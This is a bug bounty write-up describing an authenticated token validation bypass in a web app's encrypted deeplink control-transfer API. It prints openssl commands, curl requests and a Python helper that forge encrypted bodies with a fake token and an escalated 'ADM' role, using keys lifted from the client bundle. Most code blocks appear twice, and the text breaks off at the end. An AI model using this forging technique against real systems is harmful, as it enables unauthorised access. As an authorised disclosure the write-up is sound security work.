Auth Bypass is it?

Target, domains, API keys, bearer tokens, SSO IDs, and organisation names are redacted. This writeup is for educational purposes and describes testing performed in an authorised UAT bug bounty scope.

Summary

After finding a client-side encrypted API flow, I looked for other places where the application trusted encrypted data from the browser.

One interesting flow was an MSPACE-style auto-login/deeplink feature. The frontend accepted a data URL parameter, decrypted it with a client-side key/IV, parsed it as JSON, and sent the values to a backend endpoint:

POST /<REDACTED_PATH>/api/leads/control-transfer

POST /<REDACTED_PATH>/api/leads/control-transfer

The critical finding was that the backend returned a successful MSPACE token-validation message even when the inner MSPACE token was a random fake string.

The Two Token Layers

This bug involved two different token concepts:

1. Outer API bearer token
   Sent in the Authorisation header.
   Required to call the backend API.

2. Inner MSPACE deeplink token
   Sent inside the encrypted JSON request body.
   Supposed to prove the MSPACE deeplink/control-transfer is legitimate.

1. Outer API bearer token
   Sent in the Authorisation header.
   Required to call the backend API.

2. Inner MSPACE deeplink token
   Sent inside the encrypted JSON request body.
   Supposed to prove the MSPACE deeplink/control-transfer is legitimate.

The outer API bearer token was valid. The vulnerability was that the inner MSPACE token was fake, but the backend still returned success.

Bundle Evidence

The frontend bundle contained logic similar to this:

const DEEPLINK_AES_KEY = "<REDACTED_32_BYTE_KEY>";
const DEEPLINK_AES_IV = "<REDACTED_16_BYTE_IV>";

const data = new URLSearchParams(location.search).get("data");
const decrypted = decrypt(data, DEEPLINK_AES_KEY, DEEPLINK_AES_IV);
const parsed = JSON.parse(decrypted);
if (parsed.source === "MSPACE" && parsed.token && parsed.ssoId) {
  post("/leads/control-transfer", {
    ssoId: parsed.ssoId,
    role: parsed.role,
    token: parsed.token
  });
}

const DEEPLINK_AES_KEY = "<REDACTED_32_BYTE_KEY>";
const DEEPLINK_AES_IV = "<REDACTED_16_BYTE_IV>";

const data = new URLSearchParams(location.search).get("data");
const decrypted = decrypt(data, DEEPLINK_AES_KEY, DEEPLINK_AES_IV);
const parsed = JSON.parse(decrypted);
if (parsed.source === "MSPACE" && parsed.token && parsed.ssoId) {
  post("/leads/control-transfer", {
    ssoId: parsed.ssoId,
    role: parsed.role,
    token: parsed.token
  });
}

The app later sent the control-transfer request through the normal encrypted API client, meaning the request body could be recreated outside the browser because the API encryption key/IV were also present in the bundle.

Creating the Forged Request

I used a valid/given test SSO ID, but supplied a fake random MSPACE token:

cat > control_transfer_fake_token.json <<'JSON'
{
  "ssoId": "<REDACTED_VALID_TEST_SSO_ID>",
  "role": "OH",
  "token": "this_is_a_fake_random_token_1234567890_not_from_mspace"
}
JSON

cat control_transfer_fake_token.json

cat > control_transfer_fake_token.json <<'JSON'
{
  "ssoId": "<REDACTED_VALID_TEST_SSO_ID>",
  "role": "OH",
  "token": "this_is_a_fake_random_token_1234567890_not_from_mspace"
}
JSON

cat control_transfer_fake_token.json

This body was then encrypted using the same AES-CBC format used by the application API client:

openssl enc -aes-256-cbc -base64 -A \
  -K <REDACTED_API_AES_KEY_HEX> \
  -iv <REDACTED_API_AES_IV_HEX> \
  -in control_transfer_fake_token.json \
  -out control_transfer_fake_token_payload.b64

openssl enc -aes-256-cbc -base64 -A \
  -K <REDACTED_API_AES_KEY_HEX> \
  -iv <REDACTED_API_AES_IV_HEX> \
  -in control_transfer_fake_token.json \
  -out control_transfer_fake_token_payload.b64

Sending the Request

The request required a valid outer API bearer token:

API_BEARER_TOKEN="<REDACTED_VALID_API_BEARER_TOKEN>"
PAYLOAD="$(cat control_transfer_fake_token_payload.b64)"

curl -i 'https://<REDACTED_API_DOMAIN>/<REDACTED_PATH>/api/leads/control-transfer' \
  -X POST \
  -H 'Content-Type: application/json' \
  -H 'x-api-key: <REDACTED_API_KEY>' \
  -H "Authorization: Bearer $API_BEARER_TOKEN" \
  -H 'user-role: PROSPECT' \
  --data "{\"payload\":\"$PAYLOAD\"}" \
  -o control_transfer_fake_token_response.txt

API_BEARER_TOKEN="<REDACTED_VALID_API_BEARER_TOKEN>"
PAYLOAD="$(cat control_transfer_fake_token_payload.b64)"

curl -i 'https://<REDACTED_API_DOMAIN>/<REDACTED_PATH>/api/leads/control-transfer' \
  -X POST \
  -H 'Content-Type: application/json' \
  -H 'x-api-key: <REDACTED_API_KEY>' \
  -H "Authorization: Bearer $API_BEARER_TOKEN" \
  -H 'user-role: PROSPECT' \
  --data "{\"payload\":\"$PAYLOAD\"}" \
  -o control_transfer_fake_token_response.txt

The server returned an encrypted response payload.

Decrypting the Response

Extract the response payload:

python3 - <<'PY'
import json, re
raw = open("control_transfer_fake_token_response.txt").read()
m = re.search(r'\{.*\}\s*$', raw, re.S)
if not m:
    raise SystemExit("No JSON body found")
body = json.loads(m.group(0))
payload = body["payload"]
open("control_transfer_fake_token_response_payload.b64", "w").write(payload)
print("Encrypted response payload length:", len(payload))
PY

python3 - <<'PY'
import json, re
raw = open("control_transfer_fake_token_response.txt").read()
m = re.search(r'\{.*\}\s*$', raw, re.S)
if not m:
    raise SystemExit("No JSON body found")
body = json.loads(m.group(0))
payload = body["payload"]
open("control_transfer_fake_token_response_payload.b64", "w").write(payload)
print("Encrypted response payload length:", len(payload))
PY

Decrypt it:

openssl enc -aes-256-cbc -d -base64 -A \
  -K <REDACTED_API_AES_KEY_HEX> \
  -iv <REDACTED_API_AES_IV_HEX> \
  -in control_transfer_fake_token_response_payload.b64 \
  -out control_transfer_fake_token_decrypted.json

openssl enc -aes-256-cbc -d -base64 -A \
  -K <REDACTED_API_AES_KEY_HEX> \
  -iv <REDACTED_API_AES_IV_HEX> \
  -in control_transfer_fake_token_response_payload.b64 \
  -out control_transfer_fake_token_decrypted.json

View the result:

cat control_transfer_fake_token_decrypted.json

cat control_transfer_fake_token_decrypted.json

The backend returned:

{
  "response": {
    "responseCode": 200,
    "responseMsg": "Token validation success via Deeplink mSpace",
    "serverTime": "<REDACTED>"
  },
  "data": {
    "error": false,
    "result": null
  }
}

{
  "response": {
    "responseCode": 200,
    "responseMsg": "Token validation success via Deeplink mSpace",
    "serverTime": "<REDACTED>"
  },
  "data": {
    "error": false,
    "result": null
  }
}

Why This Is Interesting

The fake token was not a real MSPACE token. It was just random text:

this_is_a_fake_random_token_1234567890_not_from_mspace

this_is_a_fake_random_token_1234567890_not_from_mspace

Despite that, the server returned:

Token validation success via Deeplink mSpace

Token validation success via Deeplink mSpace

That means the backend accepted the MSPACE validation flow even though the submitted MSPACE token was not genuine.

Optional Role-Control Test

To test whether the role field was also trusted, I repeated the request with a different role:

cat > control_transfer_fake_token_adm.json <<'JSON'
{
  "ssoId": "<REDACTED_VALID_TEST_SSO_ID>",
  "role": "ADM",
  "token": "this_is_a_fake_random_token_1234567890_not_from_mspace"
}
JSON
openssl enc -aes-256-cbc -base64 -A \
  -K <REDACTED_API_AES_KEY_HEX> \
  -iv <REDACTED_API_AES_IV_HEX> \
  -in control_transfer_fake_token_adm.json \
  -out control_transfer_fake_token_adm_payload.b64

API_BEARER_TOKEN="<REDACTED_VALID_API_BEARER_TOKEN>"
PAYLOAD="$(cat control_transfer_fake_token_adm_payload.b64)"

curl -i 'https://<REDACTED_API_DOMAIN>/<REDACTED_PATH>/api/leads/control-transfer' \
  -X POST \
  -H 'Content-Type: application/json' \
  -H 'x-api-key: <REDACTED_API_KEY>' \
  -H "Authorization: Bearer $API_BEARER_TOKEN" \
  -H 'user-role: PROSPECT' \
  --data "{\"payload\":\"$PAYLOAD\"}" \
  -o control_transfer_fake_token_adm_response.txt

cat > control_transfer_fake_token_adm.json <<'JSON'
{
  "ssoId": "<REDACTED_VALID_TEST_SSO_ID>",
  "role": "ADM",
  "token": "this_is_a_fake_random_token_1234567890_not_from_mspace"
}
JSON
openssl enc -aes-256-cbc -base64 -A \
  -K <REDACTED_API_AES_KEY_HEX> \
  -iv <REDACTED_API_AES_IV_HEX> \
  -in control_transfer_fake_token_adm.json \
  -out control_transfer_fake_token_adm_payload.b64

API_BEARER_TOKEN="<REDACTED_VALID_API_BEARER_TOKEN>"
PAYLOAD="$(cat control_transfer_fake_token_adm_payload.b64)"

curl -i 'https://<REDACTED_API_DOMAIN>/<REDACTED_PATH>/api/leads/control-transfer' \
  -X POST \
  -H 'Content-Type: application/json' \
  -H 'x-api-key: <REDACTED_API_KEY>' \
  -H "Authorization: Bearer $API_BEARER_TOKEN" \
  -H 'user-role: PROSPECT' \
  --data "{\"payload\":\"$PAYLOAD\"}" \
  -o control_transfer_fake_token_adm_response.txt

This test helps determine whether the server is also trusting the user-controlled role value.

Impact

This was not an unauthenticated account takeover claim, because the outer API bearer token was still required.

The confirmed issue was more precise:

Authenticated MSPACE deeplink/control-transfer token validation bypass.

Authenticated MSPACE deeplink/control-transfer token validation bypass.

An authenticated caller could submit arbitrary encrypted ssoId, role, and fake token values and still receive a successful MSPACE token-validation response.

If downstream logic uses this validation result as proof of a legitimate MSPACE transfer, the impact could include unauthorised control-transfer behaviour, role confusion, or access to workflows intended only for valid MSPACE-originated sessions.

What happened next:

I reported it but got this